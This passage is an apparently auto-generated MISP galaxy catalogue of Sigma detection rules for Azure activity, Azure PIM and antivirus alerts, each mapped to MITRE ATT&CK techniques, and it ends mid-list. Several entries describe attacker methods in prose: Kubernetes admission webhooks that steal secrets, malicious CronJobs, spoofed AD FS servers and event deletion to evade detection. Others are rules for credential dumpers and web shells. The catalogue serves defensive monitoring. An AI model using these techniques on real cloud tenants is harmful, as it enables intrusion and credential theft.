View relationships graph

Azure Active Directory Hybrid Health AD FS New Server has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Infrastructure - T1578" with estimative-language:likelihood-probability="almost-certain"

Table 17199. Table References

Links
https://o365blog.com/post/hybridhealthagent/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_new_server.yml

Azure VPN Connection Modified or Deleted

Identifies when a VPN connection is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure VPN Connection Modified or Deleted"*

Table 17200. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_vpn_connection_modified_or_deleted.yml

Rare Subscription-level Operations In Azure

Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.

The tag is: *misp-galaxy:sigma-rules="Rare Subscription-level Operations In Azure"*

View relationships graph

Rare Subscription-level Operations In Azure has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 17201. Table References

Links
https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_rare_operations.yml

Disabled MFA to Bypass Authentication Mechanisms

Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.

The tag is: *misp-galaxy:sigma-rules="Disabled MFA to Bypass Authentication Mechanisms"*

View relationships graph

Disabled MFA to Bypass Authentication Mechanisms has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 17202. Table References

Links
https://learn.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_mfa_disabled.yml

Granting Of Permissions To An Account

Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.

The tag is: *misp-galaxy:sigma-rules="Granting Of Permissions To An Account"*

View relationships graph

Granting Of Permissions To An Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"

Table 17203. Table References

Links
https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_granting_permission_detection.yml

User Added to an Administrator’s Azure AD Role

User Added to an Administrator’s Azure AD Role

The tag is: *misp-galaxy:sigma-rules="User Added to an Administrator’s Azure AD Role"*

View relationships graph

User Added to an Administrator’s Azure AD Role has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17204. Table References

Links
https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_ad_user_added_to_admin_role.yml

Azure Kubernetes Admission Controller

Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes Admission Controller"*

View relationships graph

Azure Kubernetes Admission Controller has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

Table 17205. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_admission_controller.yml

Azure Firewall Rule Collection Modified or Deleted

Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Firewall Rule Collection Modified or Deleted"*

View relationships graph

Azure Firewall Rule Collection Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 17206. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_firewall_rule_collection_modified_or_deleted.yml

Azure Point-to-site VPN Modified or Deleted

Identifies when a Point-to-site VPN is Modified or Deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Point-to-site VPN Modified or Deleted"*

Table 17207. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_p2s_vpn_modified_or_deleted.yml

Azure Kubernetes Network Policy Change

Identifies when a Azure Kubernetes network policy is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes Network Policy Change"*

View relationships graph

Azure Kubernetes Network Policy Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 17208. Table References

Links
https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_network_policy_change.yml

Azure Application Security Group Modified or Deleted

Identifies when a application security group is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Application Security Group Modified or Deleted"*

Table 17209. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_security_group_modified_or_deleted.yml

Azure Suppression Rule Created

Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.

The tag is: *misp-galaxy:sigma-rules="Azure Suppression Rule Created"*

Table 17210. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_suppression_rule_created.yml

Azure New CloudShell Created

Identifies when a new cloudshell is created inside of Azure portal.

The tag is: *misp-galaxy:sigma-rules="Azure New CloudShell Created"*

View relationships graph

Azure New CloudShell Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17211. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_new_cloudshell_created.yml

Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted

Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted"*

View relationships graph

Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 17212. Table References

Links
https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_rolebinding_modified_or_deleted.yml

Azure Keyvault Key Modified or Deleted

Identifies when a Keyvault Key is modified or deleted in Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Keyvault Key Modified or Deleted"*

View relationships graph

Azure Keyvault Key Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 17213. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_keyvault_key_modified_or_deleted.yml

Azure Key Vault Modified or Deleted

Identifies when a key vault is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Key Vault Modified or Deleted"*

View relationships graph

Azure Key Vault Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

Table 17214. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_keyvault_modified_or_deleted.yml

Azure Network Firewall Policy Modified or Deleted

Identifies when a Firewall Policy is Modified or Deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Network Firewall Policy Modified or Deleted"*

View relationships graph

Azure Network Firewall Policy Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007" with estimative-language:likelihood-probability="almost-certain"

Table 17215. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_firewall_policy_modified_or_deleted.yml

Azure Kubernetes Service Account Modified or Deleted

Identifies when a service account is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes Service Account Modified or Deleted"*

View relationships graph

Azure Kubernetes Service Account Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 17216. Table References

Links
https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_service_account_modified_or_deleted.yml

Azure Kubernetes Cluster Created or Deleted

Detects when a Azure Kubernetes Cluster is created or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes Cluster Created or Deleted"*

View relationships graph

Azure Kubernetes Cluster Created or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 17217. Table References

Links
https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_cluster_created_or_deleted.yml

Azure Application Gateway Modified or Deleted

Identifies when a application gateway is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Application Gateway Modified or Deleted"*

Table 17218. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_gateway_modified_or_deleted.yml

Azure DNS Zone Modified or Deleted

Identifies when DNS zone is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure DNS Zone Modified or Deleted"*

View relationships graph

Azure DNS Zone Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

Table 17219. Table References

Links

https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_dns_zone_modified_or_deleted.yml

Number Of Resource Creation Or Deployment Activities

Number of VM creations or deployment activities occur in Azure via the azureactivity log.

The tag is: *misp-galaxy:sigma-rules="Number Of Resource Creation Or Deployment Activities"*

View relationships graph

Number Of Resource Creation Or Deployment Activities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17220. Table References

Links
https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_creating_number_of_resources_detection.yml

Azure Active Directory Hybrid Health AD FS Service Delete

This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant. A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs. The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.

The tag is: *misp-galaxy:sigma-rules="Azure Active Directory Hybrid Health AD FS Service Delete"*

View relationships graph

Azure Active Directory Hybrid Health AD FS Service Delete has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003" with estimative-language:likelihood-probability="almost-certain"

Table 17221. Table References

Links

https://o365blog.com/post/hybridhealthagent/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_service_delete.yml

Azure Firewall Modified or Deleted

Identifies when a firewall is created, modified, or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Firewall Modified or Deleted"*

View relationships graph

Azure Firewall Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 17222. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_firewall_modified_or_deleted.yml

Azure Device No Longer Managed or Compliant

Identifies when a device in azure is no longer managed or compliant

The tag is: *misp-galaxy:sigma-rules="Azure Device No Longer Managed or Compliant"*

Table 17223. Table References

Links
https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#core-directory
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_device_no_longer_managed_or_compliant.yml

Azure Virtual Network Device Modified or Deleted

Identifies when a virtual network device is being modified or deleted. This can be a network interface, network virtual appliance, virtual hub, or virtual router.

The tag is: *misp-galaxy:sigma-rules="Azure Virtual Network Device Modified or Deleted"*

Table 17224. Table References

Links

https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_virtual_device_modified_or_deleted.yml

Azure Network Security Configuration Modified or Deleted

Identifies when a network security configuration is modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Azure Network Security Configuration Modified or Deleted"*

Table 17225. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_security_modified_or_deleted.yml

Azure Kubernetes CronJob

Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes CronJob"*

View relationships graph

Azure Kubernetes CronJob has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"

Table 17226. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
https://kubernetes.io/docs/concepts/workloads/controllers/job/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_cronjob.yml

Azure Kubernetes Events Deleted

Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.

The tag is: *misp-galaxy:sigma-rules="Azure Kubernetes Events Deleted"*

View relationships graph

Azure Kubernetes Events Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 17227. Table References

Links
https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_events_deleted.yml

Stale Accounts In A Privileged Role

Identifies when an account hasn't signed in during the past n number of days.

The tag is: *misp-galaxy:sigma-rules="Stale Accounts In A Privileged Role"*

View relationships graph

Stale Accounts In A Privileged Role has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17228. Table References

Links
https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#potential-stale-accounts-in-a-privileged-role
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_account_stale.yml

Invalid PIM License

Identifies when an organization doesn't have the proper license for PIM and is out of compliance.

The tag is: *misp-galaxy:sigma-rules="Invalid PIM License"*

View relationships graph

Invalid PIM License has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17229. Table References

Links
https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#the-organization-doesnt-have-microsoft-entra-premium-p2-or-microsoft-entra-id-governance
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_invalid_license.yml

Roles Activation Doesn't Require MFA

Identifies when a privilege role can be activated without performing mfa.

The tag is: *misp-galaxy:sigma-rules="Roles Activation Doesn't Require MFA"*

View relationships graph

Roles Activation Doesn't Require MFA has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17230. Table References

Links
https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-dont-require-multi-factor-authentication-for-activation
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_no_mfa_required.yml

Roles Are Not Being Used

Identifies when a user has been assigned a privilege role and are not using that role.

The tag is: *misp-galaxy:sigma-rules="Roles Are Not Being Used"*

View relationships graph

Roles Are Not Being Used has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17231. Table References

Links
https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#administrators-arent-using-their-privileged-roles
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_not_used.yml

Too Many Global Admins

Identifies an event where there are there are too many accounts assigned the Global Administrator role.

The tag is: *misp-galaxy:sigma-rules="Too Many Global Admins"*

View relationships graph

Too Many Global Admins has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17232. Table References

Links
https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#there-are-too-many-global-administrators
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_too_many_global_admins.yml

Roles Activated Too Frequently

Identifies when the same privilege role has multiple activations by the same user.

The tag is: *misp-galaxy:sigma-rules="Roles Activated Too Frequently"*

View relationships graph

Roles Activated Too Frequently has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17233. Table References

Links
https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-are-being-activated-too-frequently
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_frequent_activation.yml

Roles Assigned Outside PIM

Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.

The tag is: *misp-galaxy:sigma-rules="Roles Assigned Outside PIM"*

View relationships graph

Roles Assigned Outside PIM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17234. Table References

Links
https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-configure-security-alerts#roles-are-being-assigned-outside-of-privileged-identity-management
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/privileged_identity_management/azure_pim_role_assigned_outside_of_pim.yml

Suspicious SQL Query

Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields

The tag is: *misp-galaxy:sigma-rules="Suspicious SQL Query"*

View relationships graph

Suspicious SQL Query has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"

Table 17235. Table References

Links

https://github.com/sqlmapproject/sqlmap
https://github.com/SigmaHQ/sigma/tree/master/rules/category/database/db_anomalous_query.yml

Antivirus Password Dumper Detection

Detects a highly relevant Antivirus alert that reports a password dumper. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

The tag is: *misp-galaxy:sigma-rules="Antivirus Password Dumper Detection"*

View relationships graph

Antivirus Password Dumper Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 17236. Table References

Links
https://www.nextron-systems.com/?s=antivirus
https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619
https://www.virustotal.com/gui/file/a4edfbd42595d5bddb442c82a02cf0aaa10893c1bf79ea08b9ce576f82749448
https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_password_dumper.yml

Antivirus Relevant File Paths Alerts

Detects an Antivirus alert in a highly relevant file path or with a relevant file name. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

The tag is: *misp-galaxy:sigma-rules="Antivirus Relevant File Paths Alerts"*

View relationships graph

Antivirus Relevant File Paths Alerts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obtain Capabilities - T1588" with estimative-language:likelihood-probability="almost-certain"

Table 17237. Table References

Links
https://www.nextron-systems.com/?s=antivirus
https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_relevant_files.yml

Antivirus Ransomware Detection

Detects a highly relevant Antivirus alert that reports ransomware. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

The tag is: *misp-galaxy:sigma-rules="Antivirus Ransomware Detection"*

View relationships graph

Antivirus Ransomware Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 17238. Table References

Links
https://www.nextron-systems.com/?s=antivirus
https://www.virustotal.com/gui/file/c312c05ddbd227cbb08958876df2b69d0f7c1b09e5689eb9d93c5b357f63eff7
https://www.virustotal.com/gui/file/69fe77dd558e281621418980040e2af89a2547d377d0f2875502005ce22bc95c
https://www.virustotal.com/gui/file/43b0f7872900bd234975a0877744554f4f355dc57505517abd1ef611e1ce6916
https://www.virustotal.com/gui/file/6f0f20da34396166df352bf301b3c59ef42b0bc67f52af3d541b0161c47ede05
https://www.virustotal.com/gui/file/554db97ea82f17eba516e6a6fdb9dc04b1d25580a1eb8cb755eeb260ad0bd61d
https://www.virustotal.com/gui/file/20179093c59bca3acc6ce9a4281e8462f577ffd29fd7bf51cf2a70d106062045
https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_ransomware.yml

Antivirus Hacktool Detection

Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool. This event must not be ignored just because the AV has blocked the malware but investigate, how it came

there in the first place.

The tag is: *misp-galaxy:sigma-rules="Antivirus Hacktool Detection"*

View relationships graph

Antivirus Hacktool Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

Table 17239. Table References

Links
https://www.nextron-systems.com/?s=antivirus
https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/
https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_hacktool.yml

Antivirus Web Shell Detection

Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big WebShell repository from e.g. github and checking the matches. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

The tag is: *misp-galaxy:sigma-rules="Antivirus Web Shell Detection"*

View relationships graph

Antivirus Web Shell Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 17240. Table References

Links
https://www.nextron-systems.com/?s=antivirus
https://www.virustotal.com/gui/file/13ae8bfbc02254b389ab052aba5e1ba169b16a399d9bc4cb7414c4a73cd7dc78/detection
https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection
https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection
https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection

https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection
https://github.com/tennc/webshell
https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection
https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection
https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection
https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_webshell.yml

Antivirus Exploitation Framework Detection

